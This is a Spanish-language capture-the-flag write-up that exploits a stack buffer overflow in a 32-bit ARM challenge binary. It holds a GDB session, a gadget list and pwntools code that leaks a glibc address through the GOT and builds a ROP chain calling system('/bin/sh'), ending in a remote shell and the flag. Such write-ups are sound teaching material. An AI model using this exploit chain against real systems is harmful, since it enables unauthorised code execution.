Antidote
14 minutos de lectura
Se nos proporciona un binario ARM de 32 bits llamado antidote
:
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
Ingeniería inversa
Podemos usar Ghidra para analizar el binario y mirar al código en C descompilado. Esta es la función main
:
int main() {
undefined data[64];
undefined message[152];
setvbuf(stdout, (char *) 0x0, 2, 0);
memcpy(message, "Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!\nCome on, hurry up analyzing that bug\'s DNA! I can\'t wait to get out of here!\nCareful there! That hurt!\n" , 152);
write(1, message, 152);
read(0, data, 300);
return 0;
}
Vulnerabilidad de Buffer Overflow
El binario es vulnerable a Buffer Overflow porque la variable llamada data
tiene 64 bytes asignados como buffer, pero el programa está leyendo hasta 300 bytes de stdin
y guardando los datos en data
, desbordando el buffer reservado si el tamaño de los datos de entrada es mayor que 64 bytes.
Podemos verificar que el programa se rompe en esta situación (para ejecutar y depurar binarios ARM, échale un vistazo a la guía de ROP Emporium):
$ ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
asdf
$ python3 -c 'print("A" * 300)' | ./antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
zsh: done python3 -c 'print("A" * 300)' |
zsh: segmentation fault (core dumped) ./antidote
El programa se rompe porque hemos sobrescrito la dirección de retorno guardada en la pila (stack). Vamos a usar GDB para encontrar el offset que necesitamos para llegar a esta dirección:
$ qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
gef➤ pattern create 300
[+] Generating a pattern of 300 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboa
abpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
[+] Saved as '$_gef0'
gef➤ continue
Continuing.
$ qemu-arm -g 1234 antidote
Bzzzzzzz... Bzzzzzzzzzzzzzzz... Damn those bugs!
Come on, hurry up analyzing that bug's DNA! I can't wait to get out of here!
Careful there! That hurt!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
Program received signal SIGSEGV, Segmentation fault.
0x63616166 in ?? ()
gef➤ pattern offset $pc
[+] Searching for '$pc'
[+] Found at offset 220 (little-endian search) likely
[+] Found at offset 508 (big-endian search)
Entonces, necesitamos exactamente 220 bytes para controlar $pc
.
Estrategia de explotación
Como el binario tiene protección NX, tenemos que utilizar Return Oriented Programming (ROP) para ejecutar código arbitrario. Esta técnica hace uso de gadgets, que son conjuntos de intrucciones que terminan en ret
(normalmente). Podemos añadir una lista de direcciones de gadgets en la pila para que cuando un gadget se ejecute, vuelva a la pila y se ejecute el siguiente gadget. De ahí el nombre de ROP chain.
Esto es un bypass de la protección NX, ya que no estamos ejecutando instrucciones en la pila (shellcode), sino que estamos redirigiendo el programa a direcciones específicas que son ejecutables y que contienen las instrucciones que queremos.
Para conseguir ejecución de comandos, usaremos un ataque ret2libc. Esta técnica consiste en llamar a system
en Glibc usando "/bin/sh"
como primer argumento a la función (que también se encuentra en Glibc). El problema que tenemos que solucionar es ASLR, que es una protección habilitada en librerías compartidas para aleatorizar una dirección base.
Como tenemos que llamar a system
y usar "/bin/sh"
, tenemos que saber las direcciones de dichos valores en Glibc en tiempo de ejecución (estas direcciones serán diferentes en cada ejecución). Por tanto, tenemos que encontrar una manera de fugar una dirección de Glibc porque lo único que es aleatorio es la dirección base de Glibc; el resto de las direcciones se calculan mediante offsets a dicha dirección base.
El proceso de fuga de una función involucra llamar a write
con una dirección de la Tabla de Offsets Globales (Global Offset Table, GOT) como primer argumento (por ejemplo, write
también). Esta tabla contiene las direcciones reales de las funciones externas usadas por el programa (si han sido resueltas previamente).
Desarrollo del exploit
Veamos los gadgets de ROP que tenemos:
gef➤ ropper
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x00000620: add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000620: add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x00000604: add r6, r6, #2; ldr ip, [r4, #4]; mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000003c0: andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x000003b8: andeq r0, r0, r6, lsl r8; andeq r0, r1, r4, asr r8; andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x000003bc: andeq r0, r1, r4, asr r8; andeq r0, r0, r6, lsl fp; push {r3, lr}; bl #0x474; pop {r3, pc};
0x0000062c: andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x0000062c: andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr; push {r3, lr}; pop {r3, pc};
0x00000630: andeq r8, r0, r4, lsr #3; bx lr;
0x00000630: andeq r8, r0, r4, lsr #3; bx lr; push {r3, lr}; pop {r3, pc};
0x00000550: bl #0x3e4; mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x000003c8: bl #0x474; pop {r3, pc};
0x000005e0: blx ip;
0x00000618: blx ip; cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x000004d4: blx r3;
0x000004d4: blx r3; pop {r3, pc};
0x00000624: bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000624: bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x000004ac: bx lr;
0x00000634: bx lr; push {r3, lr}; pop {r3, pc};
0x000004a0: cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x000004cc: cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004cc: cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x000004c0: cmp r3, #0; popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x0000061c: cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000608: ldr ip, [r4, #4]; mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000005cc: ldr ip, [r4], #4; mov r0, sl; mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000004c8: ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004c8: ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x00000498: ldr r3, [pc, #0x10]; ldrb r2, [r3]; cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x000005a0: ldr r3, [r4], #4; mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x000005f0: ldr r3, [r5], #4; mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x0000049c: ldrb r2, [r3]; cmp r2, #0; moveq r2, #1; strbeq r2, [r3]; bx lr;
0x00000558: mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x0000060c: mov r0, sl; mov r1, r8; mov r2, r7; blx ip;
0x000005f4: mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x000005d0: mov r0, sl; mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000005a4: mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x00000610: mov r1, r8; mov r2, r7; blx ip;
0x000005f8: mov r1, r8; mov r2, r7; blx r3;
0x000005d4: mov r1, r8; mov r2, r7; mov r6, #2; blx ip;
0x000005a8: mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
0x0000054c: mov r2, #0x12c; bl #0x3e4; mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x00000614: mov r2, r7; blx ip;
0x00000614: mov r2, r7; blx ip; cmp r6, sb; add r4, r5, #4; bne #0x5ec; pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x000005fc: mov r2, r7; blx r3;
0x000005d8: mov r2, r7; mov r6, #2; blx ip;
0x000005ac: mov r2, r7; sub r5, sb, #1; blx r3;
0x00000554: mov r3, #0; mov r0, r3; sub sp, fp, #4; pop {fp, pc};
0x000005ec: mov r5, r4; ldr r3, [r5], #4; mov r0, sl; mov r1, r8; mov r2, r7; blx r3;
0x000005dc: mov r6, #2; blx ip;
0x000004a4: moveq r2, #1; strbeq r2, [r3]; bx lr;
0x00000560: pop {fp, pc};
0x000003cc: pop {r3, pc};
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc};
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc}; andeq r8, r0, r4, lsr #3; andeq r8, r0, r4, lsr #3; bx lr;
0x000004d0: popeq {r3, pc}; blx r3;
0x000004d0: popeq {r3, pc}; blx r3; pop {r3, pc};
0x000004c4: popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3;
0x000004c4: popeq {r3, pc}; ldr r3, [pc, #0x10]; cmp r3, #0; popeq {r3, pc}; blx r3; pop {r3, pc};
0x000003c4: push {r3, lr}; bl #0x474; pop {r3, pc};
0x00000638: push {r3, lr}; pop {r3, pc};
0x000004a8: strbeq r2, [r3]; bx lr;
0x000005b0: sub r5, sb, #1; blx r3;
0x0000055c: sub sp, fp, #4; pop {fp, pc};
65 gadgets found
De la salida anterior de ropper
(desde GDB), vemos que podemos asignar fácilmente los registros $r4
hasta $r8
con este gadget:
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc};
Luego, también podemos usar el siguiente para asignar $r3
:
0x000003cc: pop {r3, pc};
Y después, podemos poner $r0
, $r1
y $r2
con este (ya que tenemos control sobre $sl
, $r7
y $r8
):
0x000005a4: mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
Y entonces podemos saltar a $r3
(eso es lo que significa blx r3
, más información aquí).
Fugando direcciones de memoria
Este es el código ensamblador de main
:
gef➤ disassemble main
Dump of assembler code for function main:
0x000084e4 <+0>: push {r11, lr}
0x000084e8 <+4>: add r11, sp, #4
0x000084ec <+8>: sub sp, sp, #216 ; 0xd8
0x000084f0 <+12>: ldr r3, [pc, #108] ; 0x8564 <main+128>
0x000084f4 <+16>: ldr r3, [r3]
0x000084f8 <+20>: mov r0, r3
0x000084fc <+24>: mov r1, #0
0x00008500 <+28>: mov r2, #2
0x00008504 <+32>: mov r3, #0
0x00008508 <+36>: bl 0x8414 <setvbuf@plt>
0x0000850c <+40>: ldr r3, [pc, #84] ; 0x8568 <main+132>
0x00008510 <+44>: sub r1, r11, #156 ; 0x9c
0x00008514 <+48>: mov r2, r3
0x00008518 <+52>: mov r3, #152 ; 0x98
0x0000851c <+56>: mov r0, r1
0x00008520 <+60>: mov r1, r2
0x00008524 <+64>: mov r2, r3
0x00008528 <+68>: bl 0x83f0 <memcpy@plt>
0x0000852c <+72>: sub r3, r11, #156 ; 0x9c
0x00008530 <+76>: mov r0, #1
0x00008534 <+80>: mov r1, r3
0x00008538 <+84>: mov r2, #152 ; 0x98
0x0000853c <+88>: bl 0x8420 <write@plt>
0x00008540 <+92>: sub r3, r11, #220 ; 0xdc
0x00008544 <+96>: mov r0, #0
0x00008548 <+100>: mov r1, r3
0x0000854c <+104>: mov r2, #300 ; 0x12c
0x00008550 <+108>: bl 0x83e4 <read@plt>
0x00008554 <+112>: mov r3, #0
0x00008558 <+116>: mov r0, r3
0x0000855c <+120>: sub sp, r11, #4
0x00008560 <+124>: pop {r11, pc}
0x00008564 <+128>: andeq r0, r1, r4, ror #16
0x00008568 <+132>: andeq r8, r0, r4, asr #12
End of assembler dump.
Para poder fugar la dirección de write
en Glibc, tenemos que poner $r0 = 1
para escribir a stdout
y poner en $r1
la dirección de write
en la GOT. No hay ningún gadget sencillo para asignar $r0
, pero podemos poner en $r3
la dirección de write
en la GOT y luego saltar a main+76
:
...
0x00008530 <+76>: mov r0, #1
0x00008534 <+80>: mov r1, r3
0x00008538 <+84>: mov r2, #152 ; 0x98
0x0000853c <+88>: bl 0x8420 <write@plt>
...
De esta manera, $r0
tendrá valor 1
, $r1
tendrá el mismo valor que $r3
y luego se llamará a write
:
def main():
p = get_process()
pop_r3_pc = 0x83cc
pop_r4_r5_r6_r7_r8_sb_sl_pc = 0x8628
mov_r0_sl_mov_r1_r2_mov_r2_r7_blx_r3 = 0x85f4
offset = 220
junk = b'A' * offset
payload = junk
payload += p32(pop_r3_pc)
payload += p32(elf.got.write)
payload += p32(elf.sym.main + 76)
p.recv()
p.send(payload)
write_addr = u32(p.recv(4))
log.info(f'Leaked write() address: {hex(write_addr)}')
glibc.address = write_addr - glibc.sym.write
log.success(f'Glibc base address: {hex(glibc.address)}')
p.recv()
p.interactive()
$ python3 solve.py
[*] './antidote'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[+] Starting local process './antidote': pid 1369435
[*] Leaked write() address: 0xff6e5e28
[+] Glibc base address: 0xff619000
[*] Switching to interactive mode
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[*] Got EOF while reading in interactive
$
Y ahí tenemos la fuga de memoria y la dirección de Glibc correcta (nótese que termina en 000
en formato hexadecimal). Pero el programa se rompe, y eso no era esperado.
Para depurarlo, podemos escribir el payload en un archivo y luego usar cat
para redirigir su contenido a qemu-arm
mientras depuramos con GDB:
with open('payload', 'wb') as f:
f.write(payload)
$ cat payload | qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ break *main+88
Breakpoint 1 at 0x853c
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
El breakpoint está puesto en la instrucción write
. Una instrucción después de la segunda llamada a write
tenemos esta situación:
gef➤ x/i $pc
=> 0x8540 <main+92>: sub r3, r11, #220 ; 0xdc
gef➤ p $r3
$1 = 0x1
gef➤ p $r11
$2 = 0x41414141
De hecho, $r11
se utiliza para calcular la dirección donde read
va a almacenar los datos de entrada, y obviamente 0x41414141
no es válido. Podemos darnos cuenta de que se saca un valor de la pila a $r11
justo antes que a $pc
en la dirección main+124
, por lo que necesitamos usar otro valor aquí. Por ejemplo, el valor legítimo, que es 0xffef85c
(se puede ver con GDB):
$ qemu-arm -g 1234 antidote
$ gdb-multiarch -q
gef➤ file antidote
Reading symbols from antidote...
(No debugging symbols found in antidote)
gef➤ break *main+92
Breakpoint 1 at 0x8540
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
warning: remote target does not support file transfer, attempting to access files from local filesystem.
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0xff7bca40 in ?? ()
gef➤ continue
Continuing.
Breakpoint 1, 0x00008540 in main ()
gef➤ x/i $pc
=> 0x8540 <main+92>: sub r3, r11, #220 ; 0xdc
gef➤ p $r11
$1 = 0xfffef85c
Si actualizamos este valor en la cadena ROP, el programa no se rompe más:
offset = 216
junk = b'A' * offset
payload = junk
payload += p32(0xfffef85c)
payload += p32(pop_r3_pc)
payload += p32(elf.got.write)
payload += p32(elf.sym.main + 76)
$ python3 solve.py
[*] './antidote'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[+] Starting local process './antidote': pid 1372339
[*] Leaked write() address: 0xff6e5e28
[+] Glibc base address: 0xff619000
[*] Switching to interactive mode
$
Obteniendo RCE
Lo siguiente es llamar a system("/bin/sh")
. Para eso, necesitamos que $r0 = "/bin/sh"
. La única manera en la que podemos asignar $r0
es usando el gadget largo:
0x000005a4: mov r0, sl; mov r1, r8; mov r2, r7; sub r5, sb, #1; blx r3;
Y para poner $sl
, $r7
y $r8
tenemos que utilizar otro gadget largo:
0x00000628: pop {r4, r5, r6, r7, r8, sb, sl, pc};
En verdad, esto se conoce como ataque ret2csu, ya que el gadget aparece en __libc_csu_init
, pero no tiene nada de especial. Entonces ponemos en $sl
la dirección de "/bin/sh"
y ponemos en $r3
la dirección de system
en Glibc. Esta es la cadena ROP:
payload = junk
payload += p32(0xfffef85c)
payload += p32(pop_r4_r5_r6_r7_r8_sb_sl_pc)
payload += p32(0) * 6
payload += p32(next(glibc.search(b'/bin/sh')))
payload += p32(pop_r3_pc)
payload += p32(glibc.sym.system)
payload += p32(mov_r0_sl_mov_r1_r2_mov_r2_r7_blx_r3)
p.recv()
p.send(payload)
p.interactive()
Flag
El exploit no funciona en local por alguna razón, pero sí funciona en remoto (tenemos que utilizar la librería Glibc proporcionada):
$ python3 solve.py 178.62.107.21:32750
[*] './antidote'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
[+] Opening connection to 178.62.107.21 on port 32750: Done
[*] Leaked write() address: 0xff72bbc5
[+] Glibc base address: 0xff69f000
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ find / -name flag.txt 2>/dev/null | xargs cat
HTB{Th4nk_y0u_f0r_h3lp1ng_m3_w1th_th4t_bug!Y0u_s4ved_my_arm}
El exploit completo se puede encontrar aquí: solve.py
.